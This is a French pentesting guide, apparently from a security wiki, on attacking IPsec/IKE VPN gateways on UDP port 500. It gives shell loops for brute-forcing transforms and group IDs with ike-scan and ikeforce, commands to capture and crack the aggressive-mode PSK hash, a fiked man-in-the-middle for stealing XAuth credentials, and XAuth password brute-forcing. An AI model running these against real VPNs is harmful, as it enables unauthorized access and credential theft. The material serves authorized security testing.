500/udp - Pentesting IPsec/IKE VPN

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Informations de base

IPsec est largement reconnu comme la principale technologie pour sécuriser les communications entre les réseaux (LAN-à-LAN) et des utilisateurs distants vers la passerelle réseau (accès à distance), servant de colonne vertébrale pour les solutions VPN d'entreprise.

L'établissement d'une association de sécurité (SA) entre deux points est géré par IKE, qui opère sous l'égide d'ISAKMP, un protocole conçu pour l'authentification et l'échange de clés. Ce processus se déroule en plusieurs phases :

• Phase 1 : Un canal sécurisé est créé entre deux points de terminaison. Cela est réalisé par l'utilisation d'une clé pré-partagée (PSK) ou de certificats, en utilisant soit le mode principal, qui implique trois paires de messages, soit le mode agressif.
• Phase 1.5 : Bien que non obligatoire, cette phase, connue sous le nom de Phase d'Authentification Étendue, vérifie l'identité de l'utilisateur tentant de se connecter en exigeant un nom d'utilisateur et un mot de passe.
• Phase 2 : Cette phase est dédiée à la négociation des paramètres pour sécuriser les données avec ESP et AH. Elle permet l'utilisation d'algorithmes différents de ceux de la Phase 1 pour garantir la Perfect Forward Secrecy (PFS), renforçant ainsi la sécurité.

Port par défaut : 500/udp

Découvrez le service en utilisant nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Trouver une transformation valide

La configuration IPSec peut être préparée pour n'accepter qu'une ou quelques transformations. Une transformation est une combinaison de valeurs. Chaque transformation contient un certain nombre d'attributs comme DES ou 3DES en tant qu'algorithme de chiffrement, SHA ou MD5 en tant qu'algorithme d'intégrité, une clé pré-partagée en tant que type d'authentification, Diffie-Hellman 1 ou 2 en tant qu'algorithme de distribution de clés et 28800 secondes en tant que durée de vie.

Ensuite, la première chose que vous devez faire est de trouver une transformation valide, afin que le serveur puisse communiquer avec vous. Pour ce faire, vous pouvez utiliser l'outil ike-scan. Par défaut, Ike-scan fonctionne en mode principal et envoie un paquet à la passerelle avec un en-tête ISAKMP et une seule proposition avec huit transformations à l'intérieur.

En fonction de la réponse, vous pouvez obtenir des informations sur le point de terminaison :

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Comme vous pouvez le voir dans la réponse précédente, il y a un champ appelé AUTH avec la valeur PSK. Cela signifie que le vpn est configuré en utilisant une clé prépartagée (et c'est vraiment bien pour un pentester).
La valeur de la dernière ligne est également très importante :

• 0 returned handshake; 0 returned notify: Cela signifie que la cible n'est pas une passerelle IPsec.
• 1 returned handshake; 0 returned notify: Cela signifie que la cible est configurée pour IPsec et est prête à effectuer une négociation IKE, et qu'un ou plusieurs des transformations que vous avez proposées sont acceptables (une transformation valide sera affichée dans la sortie).
• 0 returned handshake; 1 returned notify: Les passerelles VPN répondent avec un message de notification lorsque aucune des transformations n'est acceptable (bien que certaines passerelles ne le fassent pas, auquel cas une analyse plus approfondie et une proposition révisée devraient être essayées).

Ensuite, dans ce cas, nous avons déjà une transformation valide, mais si vous êtes dans le 3ème cas, alors vous devez brute-forcer un peu pour trouver une transformation valide :

Tout d'abord, vous devez créer toutes les transformations possibles :

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

Et ensuite, effectuez une attaque par force brute sur chacun en utilisant ike-scan (cela peut prendre plusieurs minutes) :

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Si le brute-force n'a pas fonctionné, peut-être que le serveur répond sans échanges même aux transformations valides. Dans ce cas, vous pourriez essayer le même brute-force mais en utilisant le mode agressif :

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Espérons qu'une transformation valide soit renvoyée.
Vous pouvez essayer la même attaque en utilisant iker.py.
Vous pourriez également essayer de forcer les transformations avec ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

Dans DH Group : 14 = MODP de 2048 bits et 15 = 3072 bits
2 = HMAC-SHA = SHA1 (dans ce cas). Le format --trans est $Enc,$Hash,$Auth,$DH

Cisco indique d'éviter d'utiliser les groupes DH 1 et 2 car ils ne sont pas assez forts. Les experts estiment que les pays disposant de nombreuses ressources peuvent facilement casser le chiffrement des données utilisant ces groupes faibles. Cela se fait en utilisant une méthode spéciale qui les prépare à craquer les codes rapidement. Même si cela coûte beaucoup d'argent pour mettre en place cette méthode, cela permet à ces pays puissants de lire les données chiffrées en temps réel si elles utilisent un groupe qui n'est pas fort (comme 1 024 bits ou moins).

Identification du serveur

Ensuite, vous pouvez utiliser ike-scan pour essayer de découvrir le fournisseur de l'appareil. L'outil envoie une proposition initiale et cesse de rejouer. Ensuite, il analysera la différence de temps entre les messages reçus du serveur et le modèle de réponse correspondant, le pentester peut ainsi identifier avec succès le fournisseur de la passerelle VPN. De plus, certains serveurs VPN utiliseront la charge utile Vendor ID (VID) optionnelle avec IKE.

Spécifiez la transformation valide si nécessaire (en utilisant --trans)

Si IKE découvre quel est le fournisseur, il l'imprimera :

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Cela peut également être réalisé avec le script nmap ike-version

Trouver le bon ID (nom de groupe)

Pour être autorisé à capturer le hash, vous avez besoin d'une transformation valide prenant en charge le mode agressif et du bon ID (nom de groupe). Vous ne connaîtrez probablement pas le nom de groupe valide, donc vous devrez le brute-forcer.
Pour ce faire, je vous recommande 2 méthodes :

Bruteforcer l'ID avec ike-scan

Tout d'abord, essayez de faire une demande avec un ID faux en essayant de rassembler le hash ("-P") :

ike-scan -P -M -A -n fakeID <IP>

Si aucun hash n'est retourné, alors probablement cette méthode de brute forcing fonctionnera. Si un hash est retourné, cela signifie qu'un hash faux va être renvoyé pour un ID faux, donc cette méthode ne sera pas fiable pour brute-forcer l'ID. Par exemple, un hash faux pourrait être retourné (cela se produit dans les versions modernes) :

Mais si comme je l'ai dit, aucun hash n'est retourné, alors vous devriez essayer de brute-forcer des noms de groupes communs en utilisant ike-scan.

Ce script va essayer de brute-forcer des IDs possibles et va retourner les IDs où une poignée de main valide est retournée (ceci sera un nom de groupe valide).

Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ike-scan. Et si vous avez découvert plusieurs transformations, n'hésitez pas à ajouter une nouvelle boucle pour toutes les essayer (vous devriez toutes les essayer jusqu'à ce que l'une d'elles fonctionne correctement).

Vous pouvez utiliser le dictionnaire d'ikeforce ou celui dans seclists de noms de groupes communs pour les brute-forcer :

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Bruteforçage de l'ID avec Iker

iker.py utilise également ike-scan pour bruteforcer les noms de groupe possibles. Il suit sa propre méthode pour trouver un ID valide basé sur la sortie d'ike-scan.

Bruteforçage de l'ID avec ikeforce

ikeforce.py est un outil qui peut être utilisé pour bruteforcer les IDs également. Cet outil va essayer d'exploiter différentes vulnérabilités qui pourraient être utilisées pour distinguer entre un ID valide et un ID non valide (cela peut avoir des faux positifs et des faux négatifs, c'est pourquoi je préfère utiliser la méthode ike-scan si possible).

Par défaut, ikeforce enverra au début quelques IDs aléatoires pour vérifier le comportement du serveur et déterminer la tactique à utiliser.

• La première méthode consiste à bruteforcer les noms de groupe en cherchant les informations Dead Peer Detection DPD des systèmes Cisco (ces informations ne sont renvoyées par le serveur que si le nom de groupe est correct).
• La deuxième méthode disponible consiste à vérifier le nombre de réponses envoyées à chaque essai car parfois plus de paquets sont envoyés lorsque l'ID correct est utilisé.
• La troisième méthode consiste à chercher "INVALID-ID-INFORMATION" en réponse à un ID incorrect.
• Enfin, si le serveur ne répond à aucune des vérifications, ikeforce essaiera de bruteforcer le serveur et vérifiera si, lorsque l'ID correct est envoyé, le serveur répond avec un paquet.
  Évidemment, l'objectif de bruteforcer l'ID est d'obtenir le PSK lorsque vous avez un ID valide. Ensuite, avec l'ID et le PSK, vous devrez bruteforcer le XAUTH (s'il est activé).

Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ikeforce. Et si vous avez découvert plusieurs transformations, n'hésitez pas à ajouter une nouvelle boucle pour toutes les essayer (vous devriez toutes les essayer jusqu'à ce que l'une d'elles fonctionne correctement).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library

./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(From the book Network Security Assessment: Know Your Network): Il est également possible d'obtenir des noms d'utilisateur valides en reniflant la connexion entre le client VPN et le serveur, car le premier paquet du mode agressif contenant l'ID client est envoyé en clair.

Capturing & cracking the hash

Enfin, si vous avez trouvé une transformation valide et le nom du groupe et si le mode agressif est autorisé, alors vous pouvez très facilement récupérer le hash crackable :

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Le hash sera enregistré dans hash.txt.

Vous pouvez utiliser psk-crack, john (en utilisant ikescan2john.py) et hashcat pour crack le hash :

psk-crack -d <Wordlist_path> psk.txt

XAuth

Le mode agressif IKE combiné avec une clé pré-partagée (PSK) est couramment utilisé à des fins d'authentification de groupe. Cette méthode est augmentée par XAuth (Authentification Étendue), qui sert à introduire une couche supplémentaire d'authentification utilisateur. Cette authentification s'appuie généralement sur des services tels que Microsoft Active Directory, RADIUS, ou des systèmes comparables.

En passant à IKEv2, un changement notable est observé où EAP (Protocole d'Authentification Extensible) est utilisé à la place de XAuth pour authentifier les utilisateurs. Ce changement souligne une évolution des pratiques d'authentification au sein des protocoles de communication sécurisés.

Local network MitM to capture credentials

So you can capture the data of the login using fiked and see if there is any default username (You need to redirect IKE traffic to fiked for sniffing, which can be done with the help of ARP spoofing, more info). Fiked will act as a VPN endpoint and will capture the XAuth credentials:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Aussi, en utilisant IPSec, essayez de réaliser une attaque MitM et bloquez tout le trafic vers le port 500. Si le tunnel IPSec ne peut pas être établi, il se peut que le trafic soit envoyé en clair.

Brute-forcing le nom d'utilisateur et le mot de passe XAUTH avec ikeforce

Pour brute forcer le XAUTH (lorsque vous connaissez un nom de groupe valide id et le psk), vous pouvez utiliser un nom d'utilisateur ou une liste de noms d'utilisateur et une liste de mots de passe :

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

De cette manière, ikeforce essaiera de se connecter en utilisant chaque combinaison de nom d'utilisateur:mot de passe.

Si vous avez trouvé une ou plusieurs transformations valides, utilisez-les comme dans les étapes précédentes.

Authentification avec un VPN IPSEC

Dans Kali, VPNC est utilisé pour établir des tunnels IPsec. Les profils doivent être situés dans le répertoire /etc/vpnc/. Vous pouvez initier ces profils en utilisant la commande vpnc.

Les commandes et configurations suivantes illustrent le processus de mise en place d'une connexion VPN avec VPNC :

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

Dans cette configuration :

• Remplacez [VPN_GATEWAY_IP] par l'adresse IP réelle de la passerelle VPN.
• Remplacez [VPN_CONNECTION_ID] par l'identifiant de la connexion VPN.
• Remplacez [VPN_GROUP_SECRET] par le secret de groupe du VPN.
• Remplacez [VPN_USERNAME] et [VPN_PASSWORD] par les identifiants d'authentification du VPN.
• [PID] symbolise l'ID de processus qui sera attribué lorsque vpnc s'initialise.

Assurez-vous d'utiliser des valeurs réelles et sécurisées pour remplacer les espaces réservés lors de la configuration du VPN.

Matériel de référence

• PSK cracking paper
• SecurityFocus Infocus
• Scanning a VPN Implementation
• Network Security Assessment 3rd Edition

Shodan

• port:500 IKE